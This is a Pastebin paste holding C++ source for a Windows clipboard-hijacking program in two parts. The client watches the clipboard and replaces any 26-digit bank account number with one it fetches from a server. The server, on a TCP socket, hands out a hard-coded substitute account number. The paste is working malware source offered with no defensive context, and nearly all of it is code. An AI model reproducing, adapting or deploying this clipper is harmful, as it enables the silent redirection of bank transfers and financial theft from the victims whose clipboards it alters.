Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /////////////////////////////////////////////////////////////////////////
- //client.cpp
- #include <cstring>
- #include <string>
- #include <Windows.h>
- #include <iostream>
- #pragma comment (lib, "Ws2_32.lib")
- #pragma comment (lib, "Mswsock.lib")
- #pragma comment (lib, "AdvApi32.lib")
- void setClipboard(const std::string &s);
- std::string GetClipboardText();
- bool isBankNo(std::string str);
- int main(int argc, char *argv[])
- {
- printf("[CLIENT]\n");
- SOCKET s;
- struct sockaddr_in sa;
- WSADATA wsas;
- WORD wersja;
- std::string str = "";
- std::string konto = "000011112222333344555555555";
- //89654123012589745987459811
- int result;
- int p;
- bool sendRequest=false;
- int i=0;
- while(1)
- {
- int dlug;
- //char buf='X';
- char k[27] ;
- if(sendRequest)
- {
- wersja = MAKEWORD(2, 0);
- WSAStartup(wersja, &wsas);
- s = socket(AF_INET, SOCK_STREAM, 0);
- memset((void *)(&sa), 0, sizeof(sa));
- sa.sin_family = AF_INET;
- sa.sin_port = htons(1051);
- sa.sin_addr.s_addr = inet_addr("127.0.0.1");
- result = connect(s, (struct sockaddr FAR *) &sa, sizeof(sa));
- if (result == SOCKET_ERROR)
- {
- printf("Connection error!\n");
- }
- else
- {
- printf("Connected.\n");
- printf("Sending request...");
- p=send(s, "xxx", 3, 0);//send signal to receive acc no back
- printf(" Done!\nReceiving acc No....", p);
- Sleep(100);
- recv(s, k, 27, 0);//receive acc no
- printf(" Done!\n");
- k[26] = '\0';
- konto = k;
- konto = std::string(k);
- sendRequest=false;
- i=0;
- }
- closesocket(s);
- WSACleanup();
- }
- str = GetClipboardText();
- if (isBankNo(str))
- setClipboard(konto);
- std::cout << str << std::endl;
- Sleep(200);
- if(i++ > 20)
- sendRequest=true;
- }
- return 0;
- }
- void setClipboard(const std::string &s){
- Sleep(50);
- OpenClipboard(0);
- EmptyClipboard();
- HGLOBAL hg = GlobalAlloc(GMEM_MOVEABLE, s.size());
- if (!hg){
- CloseClipboard();
- return;
- }
- memcpy(GlobalLock(hg), s.c_str(), s.size());
- GlobalUnlock(hg);
- SetClipboardData(CF_TEXT, hg);
- CloseClipboard();
- GlobalFree(hg);
- }
- std::string GetClipboardText()
- {
- Sleep(100);
- if (!OpenClipboard(nullptr))
- {
- printf("error with opening clipboard\n");
- return NULL;
- }
- else
- {
- HANDLE hData = GetClipboardData(CF_TEXT);
- if (hData == nullptr)
- printf("error with reading data\n");
- char * pszText = static_cast<char*>(GlobalLock(hData));
- if (pszText == nullptr)
- printf("error with text\n");
- std::string text(pszText);
- GlobalUnlock(hData);
- CloseClipboard();
- return text;
- }
- }
- bool isBankNo(std::string str)
- {
- int count = 0;
- for (int i = 0; i < str.length(); i++)
- {
- if (str[i] >= '0' && str[i] <= '9')
- count++;
- }
- if (count == 26 && str.length() == 26)
- return true;
- else
- return false;
- }
- ////////////////////////////////////
- //server.cpp
- #include <Windows.h>
- #include <stdlib.h>
- #include <stdio.h>
- #pragma comment (lib, "Ws2_32.lib")
- #pragma comment (lib, "Mswsock.lib")
- #pragma comment (lib, "AdvApi32.lib")
- #define NR_KONTA "000011112222333388888888888"
- int main()
- {
- WSADATA wsas;
- int result;
- WORD wersja;
- wersja = MAKEWORD(1, 1);
- result = WSAStartup(wersja, &wsas);
- printf("[SERVER]\n");
- SOCKET s;
- s = socket(AF_INET, SOCK_STREAM, 0);
- struct sockaddr_in sa;
- memset((void *)(&sa), 0, sizeof(sa));
- sa.sin_family = AF_INET;
- sa.sin_port = htons(1051);
- sa.sin_addr.s_addr = htonl(INADDR_ANY);
- result = bind(s, (struct sockaddr FAR*)&sa, sizeof(sa));
- result = listen(s, 5);
- SOCKET si;
- struct sockaddr_in sc;
- int lenc;
- lenc = sizeof(sc);
- //si = accept(s, (struct sockaddr FAR *) &sc, &lenc);
- char r;
- for (;;)
- {
- char r[4]="...";
- //lenc = sizeof(sc);
- //char buf[80];
- si = accept(s, (struct sockaddr FAR *) &sc, &lenc);
- recv(si, r, 3, 0);//receive signal from client
- r[3]='\0';
- //printf("%s\n", r);
- if(strcmp(r,"xxx")==0)
- {
- printf("Sending acc number...");
- send(si, NR_KONTA, 27, 0);
- printf(" Done!\n");
- }
- //Sleep(5000);
- }
- closesocket(si);
- WSACleanup();
- printf("Shutting down...\n");
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement